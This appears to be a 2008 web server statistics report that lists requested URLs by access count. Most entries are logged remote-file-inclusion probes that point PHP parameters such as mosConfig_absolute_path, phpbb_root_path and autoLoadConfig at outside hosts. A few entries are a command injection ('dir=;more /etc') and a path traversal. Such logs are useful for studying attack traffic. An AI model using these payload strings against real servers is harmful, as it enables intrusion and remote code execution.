Web Server Statistics

Directories Report for Week of 06/01/08 to 06/07/08

Contents of //?index.php?mosConfig_absolute_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //?index.php?mosConfig_absolute_path=http://premier.com.tr2 40.00 1,662 39.33
2 //?index.php?mosConfig_absolute_path=http://feuerwehr.künzell-bachrain.de1 20.00 866 20.49
3 //?index.php?mosConfig_absolute_path=http://www.ctocnet-socal.org1 20.00 830 19.64
4 //?index.php?mosConfig_absolute_path=http://www.just4fun.ro1 20.00 868 20.54

Contents of //fcring.php?s_fuss=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //fcring.php?s_fuss=http://www.iglesialcs.cl2 100.00 1,266 100.00

Contents of //form.php?path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //form.php?path=http://www.iglesialcs.cl5 100.00 3,165 100.00

Contents of //index.php3?pag=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php3?pag=http://www.mamont-krr.ru1 100.00 633 100.00

Contents of //index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.togosite.com2 50.00 1,266 50.00
2 //index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://premier.com.tr1 25.00 633 25.00
3 //index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.geocities.com1 25.00 633 25.00

Contents of //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.geocities.com5 10.20 3,165 10.20
2 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://veldega-tour.ru3 6.12 1,899 6.12
3 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.freewebs.com3 6.12 1,899 6.12
4 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.grupslactancia.info3 6.12 1,899 6.12
5 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://anakkozz.justfree.com2 4.08 1,266 4.08
6 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://castel.ueuo.com2 4.08 1,266 4.08
7 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.7-miles.com2 4.08 1,266 4.08
8 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.andygo.ru2 4.08 1,266 4.08
9 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.avedila.com2 4.08 1,266 4.08
10 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.bapeda-jabar.go.id2 4.08 1,266 4.08
11 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.ctocnet-socal.org2 4.08 1,266 4.08
12 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.radiofeniks.net2 4.08 1,266 4.08
13 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.stjohnsconover.com2 4.08 1,266 4.08
14 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://4wdnews.com.au1 2.04 633 2.04
15 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://anang.6te.net1 2.04 633 2.04
16 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://carefreebabes.net.1 2.04 633 2.04
17 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://geocities.com1 2.04 633 2.04
18 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://kiliclub.com1 2.04 633 2.04
19 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://mfe-gay.de1 2.04 633 2.04
20 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://nozyk.org1 2.04 633 2.04
21 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://premier.com.tr1 2.04 633 2.04
22 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://scc-team.co.cc1 2.04 633 2.04
23 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://users5.nofeehost.com1 2.04 633 2.04
24 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.cecenasjewelry.com1 2.04 633 2.04
25 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.codinus.com1 2.04 633 2.04
26 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.just4fun.ro1 2.04 633 2.04
27 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.tikkieterug.nl1 2.04 633 2.04
28 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.to-excess.de1 2.04 633 2.04
29 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.togosite.com1 2.04 633 2.04
30 //index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.wendyandkimberly.com1 2.04 633 2.04

Contents of //index.php?dn=ftp: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?dn=ftp://77.91.227.684 100.00 2,532 100.00

Contents of //index.php?dn=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?dn=http://xxxxxx.xxxxx.xxx.gif?1 100.00 633 100.00

Contents of //index.php?name=PNphpBB2&file=posting&mode=quote Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?name=PNphpBB2&file=posting&mode=quote/index.php?name=PNphpBB2&file=viewtopic&p=3400410 100.00 6,318 100.00

Contents of //index.php?name=PNphpBB2&file=viewtopic&t=8 Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?name=PNphpBB2&file=viewtopic&t=8/viewtopic.php?p=15&sid=be4c914eb746ac7c96beea717fdfc69219 100.00 11,991 100.00

Contents of //index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.kuanshan.com.tw3 42.86 1,899 42.86
2 //index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://digitaljamie.cyclonus2005.com2 28.57 1,266 28.57
3 //index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.togosite.com2 28.57 1,266 28.57

Contents of //index.php?option=com_loudmounth&Itemid=&mosConfig_absolute_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //index.php?option=com_loudmounth&Itemid=&mosConfig_absolute_path=http://h1.ripway.com3 37.50 1,899 37.50
2 //index.php?option=com_loudmounth&Itemid=&mosConfig_absolute_path=http://o-x-r-a-n-a.ru2 25.00 1,266 25.00
3 //index.php?option=com_loudmounth&Itemid=&mosConfig_absolute_path=http://alieandrann.net1 12.50 633 12.50
4 //index.php?option=com_loudmounth&Itemid=&mosConfig_absolute_path=http://www.47rclan.com1 12.50 633 12.50
5 //index.php?option=com_loudmounth&Itemid=&mosConfig_absolute_path=http://www.bestpaket.ru1 12.50 633 12.50

Contents of //link.php?page=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //link.php?page=http://www.linknetcrew.com1 100.00 633 100.00

Contents of //login.php?dir=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //login.php?dir=http://www.aeromexicov.org1 50.00 633 50.48
2 //login.php?dir=http://www.geocities.com1 50.00 621 49.52

Contents of //protection.php?action=logout&siteurl=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //protection.php?action=logout&siteurl=http://mfe-gay.de1 50.00 633 50.48
2 //protection.php?action=logout&siteurl=http://singspiration.org1 50.00 621 49.52

Contents of //send_reminders.php?includedir=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 //send_reminders.php?includedir=http://www.motociclismo.pt2 66.67 1,266 66.67
2 //send_reminders.php?includedir=http://www.linknetcrew.com1 33.33 633 33.33

Contents of /*.php3?*1*=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /*.php3?*1*=http://intranet.stantonmortgage.com3 100.00 1,899 100.00

Contents of /accounts.php?command=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /accounts.php?command=http://www.strider.we.bs3 100.00 1,899 100.00

Contents of /admin_styles.php?phpbb_root_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /admin_styles.php?phpbb_root_path=http://www.calebsfunzone.com3 50.00 1,899 50.00
2 /admin_styles.php?phpbb_root_path=http://www.cartographia.org3 50.00 1,899 50.00

Contents of /admin_styles.phpadmin_styles.php?phpbb_root_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /admin_styles.phpadmin_styles.php?phpbb_root_path=http://209.136.48.693 100.00 1,899 100.00

Contents of /banners Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /banners2 66.67 666 4.59
2 /banners/ydh1.jpg1 33.33 13,845 95.41

Contents of /bodyTemplate.php?serverPath=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /bodyTemplate.php?serverPath=http://66.49.210.2193 50.00 1,899 50.00
2 /bodyTemplate.php?serverPath=http://libra03.com3 50.00 1,899 50.00

Contents of /ces.php?url=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /ces.php?url=http://eventtoday.com3 100.00 1,899 100.00

Contents of /config.inc.php?path_escape=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /config.inc.php?path_escape=http://www.sarion.info3 100.00 1,899 100.00

Contents of /config.php?fpath=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /config.php?fpath=http://www.strider.we.bs2 100.00 1,266 100.00

Contents of /config.php?page=phphttp: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /config.php?page=phphttp://www.emabe.com6 66.67 3,798 66.67
2 /config.php?page=phphttp:/www.emabe.com3 33.33 1,899 33.33

Contents of /confirm.php?path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /confirm.php?path=http://www.euricolopes.net3 100.00 1,899 100.00

Contents of /contacts.php?cal_dir=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /contacts.php?cal_dir=http://www.usw-squad.net3 42.86 1,899 42.86
2 /contacts.php?cal_dir=http://207.35.44.702 28.57 1,266 28.57
3 /contacts.php?cal_dir=http:/forum.juggla.net2 28.57 1,266 28.57

Contents of /db.php?commonpath=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /db.php?commonpath=http://216.126.65.864 66.67 2,532 66.67
2 /db.php?commonpath=http://www.sajin88.com2 33.33 1,266 33.33

Contents of /db.php?path_local=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /db.php?path_local=http://theowns-host.we.bs2 100.00 1,266 100.00

Contents of /directory.php?dir=;more Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /directory.php?dir=;more /etc4 100.00 2,520 100.00

Contents of /display.php?pg=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /display.php?pg=http://www.strider.xpg.com.br3 100.00 1,899 100.00

Contents of /display.php?table=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /display.php?table=http://theowns-host.we.bs2 50.00 1,266 50.00
2 /display.php?table=http:/theowns-host.we.bs2 50.00 1,266 50.00

Contents of /displayCategory.php?basepath=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /displayCategory.php?basepath=http://jorgevolio.com3 17.65 1,899 17.65
2 /displayCategory.php?basepath=http://my3dwork.com3 17.65 1,899 17.65
3 /displayCategory.php?basepath=http://wooshck.org3 17.65 1,899 17.65
4 /displayCategory.php?basepath=http:/www.ldsblvd.com3 17.65 1,899 17.65
5 /displayCategory.php?basepath=http://www.ilegais.xpg.com.br1 5.88 633 5.88
6 /displayCategory.php?basepath=http:/jorgevolio.com1 5.88 633 5.88
7 /displayCategory.php?basepath=http:/my3dwork.com1 5.88 633 5.88
8 /displayCategory.php?basepath=http:/www.auto-bmc.com1 5.88 633 5.88
9 /displayCategory.php?basepath=http:/www.gumgangfarm.com1 5.88 633 5.88

Contents of /download.php?page=.. Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /download.php?page=../..2 100.00 1,266 100.00

Contents of /download.php?page=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /download.php?page=http://www.sharenotesstore.com3 100.00 1,899 100.00

Contents of /downloadcounter.php?stwc_counter_verzeichniss=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /downloadcounter.php?stwc_counter_verzeichniss=http:/124.0.201.201 100.00 633 100.00

Contents of /errors.php?error==http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /errors.php?error==http://politics.wwf.gr2 50.00 1,266 50.00
2 /errors.php?error==http:/politics.wwf.gr2 50.00 1,266 50.00

Contents of /errors.php?error=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /errors.php?error=http://hotel682.server4you.de10 31.25 6,318 31.21
2 /errors.php?error=http://www.talamasc.de6 18.75 3,798 18.76
3 /errors.php?error=http://www.starfish.gr4 12.50 2,532 12.51
4 /errors.php?error=http://www.tiboron.de4 12.50 2,532 12.51
5 /errors.php?error=http://208.46.111.123 9.38 1,899 9.38
6 /errors.php?error=http://politics.wwf.gr2 6.25 1,266 6.25
7 /errors.php?error=http://premier.com.tr1 3.13 633 3.13
8 /errors.php?error=http://www.alagoasinfo.com1 3.13 633 3.13
9 /errors.php?error=http://www.k17.upm.edu.my1 3.13 633 3.13

Contents of /fcring.php?s_fuss=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /fcring.php?s_fuss=http://www.hobbiz.com5 50.00 3,165 50.00
2 /fcring.php?s_fuss=http:/www.hobbiz.com3 30.00 1,899 30.00
3 /fcring.php?s_fuss=http://www.fileden.com2 20.00 1,266 20.00

Contents of /form.php?IDM=7&IDSM=20&IDFM=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /form.php?IDM=7&IDSM=20&IDFM=http:/geocities.com3 100.00 1,899 100.00

Contents of /functions.php?phpbb_root_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /functions.php?phpbb_root_path=http://aLie-a.biz3 30.00 1,899 30.00
2 /functions.php?phpbb_root_path=http://scan.biz.ly3 30.00 1,899 30.00
3 /functions.php?phpbb_root_path=http://webignite.net3 30.00 1,899 30.00
4 /functions.php?phpbb_root_path=http:/intranet.stantonmortgage.com1 10.00 633 10.00

Contents of /functions.php?pmp_rel_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /functions.php?pmp_rel_path=http://66.147.226.533 100.00 1,899 100.00

Contents of /functions_admin.php?phpbb_root_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /functions_admin.php?phpbb_root_path=http:/www.hiddendragon.com3 100.00 1,899 100.00

Contents of /graph_view.php?action=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /graph_view.php?action=http://www.bieneis.com3 100.00 1,899 100.00

Contents of /h.php?file=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /h.php?file=http://theowns-host.we.bs3 100.00 1,899 100.00

Contents of /homepage.php?sel=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /homepage.php?sel=http://intranet.stantonmortgage.com3 60.00 1,899 60.00
2 /homepage.php?sel=http://lakesdistrict.info2 40.00 1,266 40.00

Contents of /idnex.php?include=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /idnex.php?include=http://demo.maif.ru3 100.00 1,899 100.00

Contents of /include_once.php?include_file=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /include_once.php?include_file=http://www.iwma.de3 100.00 1,899 100.00

Contents of /index.php Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php6 54.55 3,762 54.31
2 /index.php/index.php?page=http:3 27.27 1,899 27.41
3 /index.php/component2 18.18 1,266 18.28

Contents of /index.php3?1*=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php3?1*=http://www.resultx.xpg.com.br2 100.00 1,266 100.00

Contents of /index.php3?p=ftp: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php3?p=ftp://ftp.metaltrade.ru3 100.00 1,899 100.00

Contents of /index.php3?p=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php3?p=http://www.aldorawar.com5 7.69 3,165 7.69
2 /index.php3?p=http://72.167.116.613 4.62 1,899 4.62
3 /index.php3?p=http://intranet.stantonmortgage.com3 4.62 1,899 4.62
4 /index.php3?p=http://lakesdistrict.info3 4.62 1,899 4.62
5 /index.php3?p=http://theowns-host.we.bs3 4.62 1,899 4.62
6 /index.php3?p=http://www.carpinteria-mb.com.ar3 4.62 1,899 4.62
7 /index.php3?p=http://www.geocities.com3 4.62 1,899 4.62
8 /index.php3?p=http://www.hobbiz.com3 4.62 1,899 4.62
9 /index.php3?p=http://www.lasexta.net3 4.62 1,899 4.62
10 /index.php3?p=http:/intranet.stantonmortgage.com3 4.62 1,899 4.62
11 /index.php3?p=http:/lakesdistrict.info3 4.62 1,899 4.62
12 /index.php3?p=http:/theowns-host.we.bs3 4.62 1,899 4.62
13 /index.php3?p=http:/www.aldorawar.com3 4.62 1,899 4.62
14 /index.php3?p=http:/www.carpinteria-mb.com.ar3 4.62 1,899 4.62
15 /index.php3?p=http:/www.geocities.com3 4.62 1,899 4.62
16 /index.php3?p=http:/www.hobbiz.com3 4.62 1,899 4.62
17 /index.php3?p=http:/www.lasexta.net3 4.62 1,899 4.62
18 /index.php3?p=http://kaizo.100webspace.net2 3.08 1,266 3.08
19 /index.php3?p=http://sagasufx.com2 3.08 1,266 3.08
20 /index.php3?p=http://www.webmasterserve.com2 3.08 1,266 3.08
21 /index.php3?p=http:/kaizo.100webspace.net2 3.08 1,266 3.08
22 /index.php3?p=http:/www.webmasterserve.com2 3.08 1,266 3.08
23 /index.php3?p=http://dballen.com1 1.54 633 1.54
24 /index.php3?p=http:/sagasufx.com1 1.54 633 1.54

Contents of /index.php3?pag=ftp: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php3?pag=ftp://ftp.metaltrade.ru3 100.00 1,899 100.00

Contents of /index.php3?pag=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php3?pag=http:/theowns-host.we.bs6 8.11 3,798 8.11
2 /index.php3?pag=http://www.ar-vision.com5 6.76 3,165 6.76
3 /index.php3?pag=http://www.kosca.net5 6.76 3,165 6.76
4 /index.php3?pag=http://apxs.110mb.com3 4.05 1,899 4.05
5 /index.php3?pag=http://collegejacquesprevert.ca3 4.05 1,899 4.05
6 /index.php3?pag=http://forum.juggla.net3 4.05 1,899 4.05
7 /index.php3?pag=http://intranet.stantonmortgage.com3 4.05 1,899 4.05
8 /index.php3?pag=http://tanbebek.com3 4.05 1,899 4.05
9 /index.php3?pag=http://www.aldorawar.com3 4.05 1,899 4.05
10 /index.php3?pag=http://www.resultx.xpg.com.br3 4.05 1,899 4.05
11 /index.php3?pag=http://www.ventec.cl3 4.05 1,899 4.05
12 /index.php3?pag=http:/www.ar-vision.com3 4.05 1,899 4.05
13 /index.php3?pag=http:/www.ventec.cl3 4.05 1,899 4.05
14 /index.php3?pag=http://201.37.71.117:80902 2.70 1,266 2.70
15 /index.php3?pag=http://alboradaquartet.org2 2.70 1,266 2.70
16 /index.php3?pag=http://kaizo.100webspace.net2 2.70 1,266 2.70
17 /index.php3?pag=http://lakesdistrict.info2 2.70 1,266 2.70
18 /index.php3?pag=http://nardinet.fr2 2.70 1,266 2.70
19 /index.php3?pag=http://opsz.3x.ro2 2.70 1,266 2.70
20 /index.php3?pag=http://trimedia-online.net2 2.70 1,266 2.70
21 /index.php3?pag=http://www.gumgangfarm.com2 2.70 1,266 2.70
22 /index.php3?pag=http://www.kolortavil.org2 2.70 1,266 2.70
23 /index.php3?pag=http://www.mta.cl2 2.70 1,266 2.70
24 /index.php3?pag=http://www.ownados.kit.net2 2.70 1,266 2.70
25 /index.php3?pag=http:/trimedia-online.net2 2.70 1,266 2.70
26 /index.php3?pag=http:/www.kolortavil.org2 2.70 1,266 2.70
27 /index.php3?pag=http://medisana.co.kr1 1.35 633 1.35
28 /index.php3?pag=http://www.crewfuck.kit.net1 1.35 633 1.35

Contents of /index.php3?pg=ftp: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php3?pg=ftp://ftp.metaltrade.ru3 100.00 1,899 100.00

Contents of /index.php3?pg=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php3?pg=http://201.37.71.117:80906 15.38 3,798 15.38
2 /index.php3?pg=http:/www.dip-kostroma.ru5 12.82 3,165 12.82
3 /index.php3?pg=http://apxs.110mb.com3 7.69 1,899 7.69
4 /index.php3?pg=http://aspato-go.com3 7.69 1,899 7.69
5 /index.php3?pg=http://casts.150m.com3 7.69 1,899 7.69
6 /index.php3?pg=http://darkscan.t35.com3 7.69 1,899 7.69
7 /index.php3?pg=http://www.ventec.cl3 7.69 1,899 7.69
8 /index.php3?pg=http:/darkscan.t35.com3 7.69 1,899 7.69
9 /index.php3?pg=http:/www.carpinteria-mb.com.ar3 7.69 1,899 7.69
10 /index.php3?pg=http:/www.ventec.cl3 7.69 1,899 7.69
11 /index.php3?pg=http:/nkdb.org2 5.13 1,266 5.13
12 /index.php3?pg=http://opsz.3x.ro1 2.56 633 2.56
13 /index.php3?pg=http://www.mta.cl1 2.56 633 2.56

Contents of /index.php?87=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?87=http://www.venezia2.it5 100.00 3,165 100.00

Contents of /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://tanbebek.com3 30.00 1,899 30.00
2 /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://theowns-host.we.bs3 30.00 1,899 30.00
3 /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.ar-vision.com3 30.00 1,899 30.00
4 /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.ilegais.xpg.com.br1 10.00 633 10.00

Contents of /index.php?_REQUEST=&_REQUEST[option]=com_phpshop&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?_REQUEST=&_REQUEST[option]=com_phpshop&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.ar-vision.com3 50.00 1,899 50.00
2 /index.php?_REQUEST=&_REQUEST[option]=com_phpshop&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.mta.cl3 50.00 1,899 50.00

Contents of /index.php?_REQUEST=*http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?_REQUEST=*http:/www.myrentaldesk.com1 100.00 633 100.00

Contents of /index.php?_REQUEST=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?_REQUEST=http://124.0.201.203 20.00 1,899 20.00
2 /index.php?_REQUEST=http://blueislandestates.com3 20.00 1,899 20.00
3 /index.php?_REQUEST=http://bobatka.info3 20.00 1,899 20.00
4 /index.php?_REQUEST=http://www.microtrack.co.kr3 20.00 1,899 20.00
5 /index.php?_REQUEST=http:/124.0.201.203 20.00 1,899 20.00

Contents of /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.293 50.00 1,899 50.00
2 /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http:/69.17.157.1543 50.00 1,899 50.00

Contents of /index.php?abs_path=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?abs_path=http://www.scrappysonline.com4 16.67 2,532 16.67
2 /index.php?abs_path=http://85.17.10.123 12.50 1,899 12.50
3 /index.php?abs_path=http://www.crystalsspa.com3 12.50 1,899 12.50
4 /index.php?abs_path=http:/www.crystalsspa.com3 12.50 1,899 12.50
5 /index.php?abs_path=http://tukangbecak.com2 8.33 1,266 8.33
6 /index.php?abs_path=http://vps.istri.info2 8.33 1,266 8.33
7 /index.php?abs_path=http://www.terrazap.com2 8.33 1,266 8.33
8 /index.php?abs_path=http://www.zooz.com.br2 8.33 1,266 8.33
9 /index.php?abs_path=http:/www.sajin88.com2 8.33 1,266 8.33
10 /index.php?abs_path=http:/www.beautiful-atlanta.com1 4.17 633 4.17

Contents of /index.php?action=logout&siteurl=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?action=logout&siteurl=http://https-secure.com1 100.00 633 100.00

Contents of /index.php?arquivo=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?arquivo=http://theowns-host.we.bs2 100.00 1,266 100.00

Contents of /index.php?autoLoadConfig=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?autoLoadConfig=http://www.rce-bay.com3 100.00 1,899 100.00

Contents of /index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http: Sorted by Access Count

RankFile or SubdirectoryAccesses%Bytes%
1 /index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://maxbidder.com12 50.00 7,596 50.00
